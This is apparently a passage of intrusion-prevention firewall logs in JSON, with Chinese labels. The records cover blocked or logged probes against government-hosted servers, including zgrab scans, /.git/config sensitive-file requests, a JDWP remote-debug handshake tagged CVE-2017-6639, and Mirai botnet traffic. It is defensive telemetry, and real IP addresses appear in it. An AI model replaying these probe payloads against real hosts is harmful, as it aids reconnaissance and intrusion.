,{"LogType":"1","ID":"1766","UserID":"131074","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":39780,\"DestPort\":80,\"Action\":24,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":37019,\"Severity\":30,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"Zgrab工具网络扫描尝试\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T23:25:52\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"66.240.236.109\",\"User\":\"66.240.236.109\",\"DestIPAddr\":\"121.30.199.79\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.79\",\"HttpFirstLine\":\"\/\",\"Payload\":\" Mozilla\/5.0 zgrab\/0.x\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"RemoteScan\",\"MethodSubNameCN\":\"扫描探测\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"196610","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":26451,\"DestPort\":443,\"Action\":20,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":35764,\"Severity\":30,\"HddInfo\":false,\"Application\":\"general_tcp\",\"ThreatName\":\"CVE-2017-6639_Oracle_Java_Debug_Wire_远程调试漏洞\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T23:13:37\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"64.226.111.62\",\"User\":\"64.226.111.62\",\"DestIPAddr\":\"121.30.199.80\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"CVE-2017-6639\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\"\",\"HttpFirstLine\":\"\",\"Payload\":\"JDWP-Handshake\\\\00\\\\00\\\\00\\\\0b\\\\00\\\\00\\\\00\\\\01\\\\00\\\\01\\\\01\",\"MethodName\":\"Vulnerability\",\"MethodNameCN\":\"漏洞\",\"MethodSubName\":\"RemoteCodeExecution\",\"MethodSubNameCN\":\"远程代码执行\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"262146","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":59201,\"DestPort\":16001,\"Action\":24,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":37019,\"Severity\":30,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"Zgrab工具网络扫描尝试\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T23:10:18\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"15.235.224.239\",\"User\":\"15.235.224.239\",\"DestIPAddr\":\"121.30.199.65\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.65\",\"HttpFirstLine\":\"\/\",\"Payload\":\" Mozilla\/5.0 zgrab\/0.x\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"RemoteScan\",\"MethodSubNameCN\":\"扫描探测\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"327682","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":59201,\"DestPort\":16001,\"Action\":24,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":37019,\"Severity\":30,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"Zgrab工具网络扫描尝试\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T23:10:17\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"15.235.224.239\",\"User\":\"15.235.224.239\",\"DestIPAddr\":\"121.30.199.65\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.65\",\"HttpFirstLine\":\"\/\",\"Payload\":\" Mozilla\/5.0 zgrab\/0.x\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"RemoteScan\",\"MethodSubNameCN\":\"扫描探测\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"393218","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":58968,\"DestPort\":80,\"Action\":20,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":45845,\"Severity\":60,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"访问敏感文件.git_config通信流量\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T21:32:38\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"134.199.151.205\",\"User\":\"134.199.151.205\",\"DestIPAddr\":\"121.30.199.79\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.79\",\"HttpFirstLine\":\"\/.git\/config\",\"Payload\":\"GET \/.git\/config HTTP\/1.1\\\\0d\\\\0aHost: 121.30.199.79\\\\0d\\\\0aUser-agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/81.0.4044.129 Safari\/537.36\\\\0d\\\\0aAccept-Encoding: gzip, deflate\\\\0d\\\\0aAccept: *\/*\\\\0d\\\\0aConnection: keep-alive\\\\0d\\\\0a\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"SensitiveInfo\",\"MethodSubNameCN\":\"敏感信息泄露\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"458754","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":50568,\"DestPort\":80,\"Action\":20,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":45845,\"Severity\":60,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"访问敏感文件.git_config通信流量\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T21:07:47\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"134.199.151.205\",\"User\":\"134.199.151.205\",\"DestIPAddr\":\"121.30.199.82\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.82\",\"HttpFirstLine\":\"\/.git\/config\",\"Payload\":\"GET \/.git\/config HTTP\/1.1\\\\0d\\\\0aHost: 121.30.199.82\\\\0d\\\\0aUser-agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/81.0.4044.129 Safari\/537.36\\\\0d\\\\0aAccept-Encoding: gzip, deflate\\\\0d\\\\0aAccept: *\/*\\\\0d\\\\0aConnection: keep-alive\\\\0d\\\\0a\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"SensitiveInfo\",\"MethodSubNameCN\":\"敏感信息泄露\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"524290","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":41287,\"DestPort\":80,\"Action\":24,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":37019,\"Severity\":30,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"Zgrab工具网络扫描尝试\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T19:02:09\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"15.235.224.238\",\"User\":\"15.235.224.238\",\"DestIPAddr\":\"121.30.199.79\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.79\",\"HttpFirstLine\":\"\/\",\"Payload\":\" Mozilla\/5.0 zgrab\/0.x\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"RemoteScan\",\"MethodSubNameCN\":\"扫描探测\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"589826","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":41287,\"DestPort\":80,\"Action\":24,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":37019,\"Severity\":30,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"Zgrab工具网络扫描尝试\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T19:02:08\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"15.235.224.238\",\"User\":\"15.235.224.238\",\"DestIPAddr\":\"121.30.199.79\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.79\",\"HttpFirstLine\":\"\/\",\"Payload\":\" Mozilla\/5.0 zgrab\/0.x\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"RemoteScan\",\"MethodSubNameCN\":\"扫描探测\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"655362","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":33620,\"DestPort\":80,\"Action\":24,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":37019,\"Severity\":30,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"Zgrab工具网络扫描尝试\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T18:45:40\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"4.156.21.82\",\"User\":\"4.156.21.82\",\"DestIPAddr\":\"121.30.199.79\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.79\",\"HttpFirstLine\":\"\/hudson\",\"Payload\":\" Mozilla\/5.0 zgrab\/0.x\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"RemoteScan\",\"MethodSubNameCN\":\"扫描探测\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"720898","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":55748,\"DestPort\":80,\"Action\":24,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":37019,\"Severity\":30,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"Zgrab工具网络扫描尝试\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T18:45:29\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"4.156.21.82\",\"User\":\"4.156.21.82\",\"DestIPAddr\":\"121.30.199.80\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.80\",\"HttpFirstLine\":\"\/hudson\",\"Payload\":\" Mozilla\/5.0 zgrab\/0.x\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"RemoteScan\",\"MethodSubNameCN\":\"扫描探测\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"786434","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":58390,\"DestPort\":80,\"Action\":24,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":37019,\"Severity\":30,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"Zgrab工具网络扫描尝试\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T18:44:54\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"4.156.21.82\",\"User\":\"4.156.21.82\",\"DestIPAddr\":\"121.30.199.82\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.82\",\"HttpFirstLine\":\"\/hudson\",\"Payload\":\" Mozilla\/5.0 zgrab\/0.x\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"RemoteScan\",\"MethodSubNameCN\":\"扫描探测\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"851970","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":49781,\"DestPort\":80,\"Action\":24,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":37019,\"Severity\":30,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"Zgrab工具网络扫描尝试\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T17:38:21\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"15.235.224.238\",\"User\":\"15.235.224.238\",\"DestIPAddr\":\"121.30.199.80\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.80\",\"HttpFirstLine\":\"\/\",\"Payload\":\" Mozilla\/5.0 zgrab\/0.x\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"RemoteScan\",\"MethodSubNameCN\":\"扫描探测\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"917506","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":49781,\"DestPort\":80,\"Action\":24,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":37019,\"Severity\":30,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"Zgrab工具网络扫描尝试\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T17:38:20\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"15.235.224.238\",\"User\":\"15.235.224.238\",\"DestIPAddr\":\"121.30.199.80\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.80\",\"HttpFirstLine\":\"\/\",\"Payload\":\" Mozilla\/5.0 zgrab\/0.x\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"RemoteScan\",\"MethodSubNameCN\":\"扫描探测\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"983042","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":46446,\"DestPort\":80,\"Action\":20,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":45845,\"Severity\":60,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"访问敏感文件.git_config通信流量\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T17:36:09\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"35.216.149.150\",\"User\":\"35.216.149.150\",\"DestIPAddr\":\"121.30.199.80\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.80\",\"HttpFirstLine\":\"\/.git\/config\",\"Payload\":\"GET \/.git\/config HTTP\/1.1\\\\0d\\\\0aHost: 121.30.199.80\\\\0d\\\\0aUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko\/20100101 Firefox\/103.0 abuse.xmco.fr\\\\0d\\\\0aAccept-Encoding: gzip\\\\0d\\\\0aConnection: close\\\\0d\\\\0a\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"SensitiveInfo\",\"MethodSubNameCN\":\"敏感信息泄露\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"1048578","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":35580,\"DestPort\":80,\"Action\":24,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":35419,\"Severity\":30,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"僵尸网络:Mirai_2.0\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T17:30:49\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"196.251.85.250\",\"User\":\"196.251.85.250\",\"DestIPAddr\":\"121.30.199.80\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.80:80\",\"HttpFirstLine\":\"\/login.rsp\",\"Payload\":\" Hello World\\\\0d\\\\0a\",\"MethodName\":\"MalwareTraffic\",\"MethodNameCN\":\"恶意流量\",\"MethodSubName\":\"BotnetTraffic\",\"MethodSubNameCN\":\"僵尸网络流量\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"1114114","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":43464,\"DestPort\":80,\"Action\":20,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":51416,\"Severity\":10,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"网络爬虫:Bytespider\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T17:12:12\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"111.225.148.70\",\"User\":\"111.225.148.70\",\"DestIPAddr\":\"121.30.199.82\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" pcq.datong12380.gov.cn\",\"HttpFirstLine\":\"\/robots.txt\",\"Payload\":\" Mozilla\/5.0 (Linux; Android 5.0) AppleWebKit\/537.36 (KHTML, like Gecko) Mobile Safari\/537.36 (compatible; Bytespider; https:\/\/zhanzhang.toutiao.com\/)\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"Spider\",\"MethodSubNameCN\":\"爬虫\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"1179650","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":24756,\"DestPort\":80,\"Action\":20,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":51416,\"Severity\":10,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"网络爬虫:Bytespider\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T16:45:27\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"111.225.148.30\",\"User\":\"111.225.148.30\",\"DestIPAddr\":\"121.30.199.79\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" www.dtdj.gov.cn\",\"HttpFirstLine\":\"\/mobile\/view\",\"Payload\":\" Mozilla\/5.0 (Linux; Android 5.0) AppleWebKit\/537.36 (KHTML, like Gecko) Mobile Safari\/537.36 (compatible; Bytespider; https:\/\/zhanzhang.toutiao.com\/)\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"Spider\",\"MethodSubNameCN\":\"爬虫\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"1245186","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":22712,\"DestPort\":80,\"Action\":20,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":51416,\"Severity\":10,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"网络爬虫:Bytespider\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T16:45:26\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"111.225.148.30\",\"User\":\"111.225.148.30\",\"DestIPAddr\":\"121.30.199.79\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" www.dtdj.gov.cn\",\"HttpFirstLine\":\"\/mobile\/article_list.htm?itemId=115&parentId=0\",\"Payload\":\" Mozilla\/5.0 (Linux; Android 5.0) AppleWebKit\/537.36 (KHTML, like Gecko) Mobile Safari\/537.36 (compatible; Bytespider; https:\/\/zhanzhang.toutiao.com\/)\\\\0d\\\\0a\",\"MethodName\":\"InformationDisclosure\",\"MethodNameCN\":\"信息收集类攻击\",\"MethodSubName\":\"Spider\",\"MethodSubNameCN\":\"爬虫\",\"LoginUserName\":\"\",\"LoginPassword\":\"\"}","TimeFilter":{"StartTime":"2025-02-26T16:00:00","EndTime":"2025-02-26T23:59:59"}}
|
||||
,{"LogType":"1","ID":"1766","UserID":"1310722","PageNo":"1","CountPerPage":"200","TotalCounts":"28","InputJSON":"{\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\"}","OutputJSON":"{\"SrcPort\":58106,\"DestPort\":9000,\"Action\":24,\"AttackCount\":1,\"SrcVrfIndex\":0,\"ThreatID\":37019,\"Severity\":30,\"HddInfo\":false,\"Application\":\"http\",\"ThreatName\":\"Zgrab工具网络扫描尝试\",\"SrcRegion\":\"\",\"DestRegion\":\"\",\"ThreatType\":\"入侵防御\",\"Time\":\"2025-02-26T16:38:55\",\"ContextName\":\"Admin\",\"Policy\":\"default\",\"Protocol\":\"TCP\",\"SrcIPAddr\":\"172.169.190.151\",\"User\":\"172.169.190.151\",\"DestIPAddr\":\"121.30.199.77\",\"SrcZoneName\":\"Untrust\",\"DestZoneName\":\"Trust\",\"CVE\":\"\",\"MSB\":\"\",\"BID\":\"\",\"RealIP\":\"\",\"CapturePktName\":\"\",\"HttpHost\":\" 121.30.199.77:9000\",\"HttpFirstLine\":\"\/\",\"Payload\":\" Mozilla\/5.0 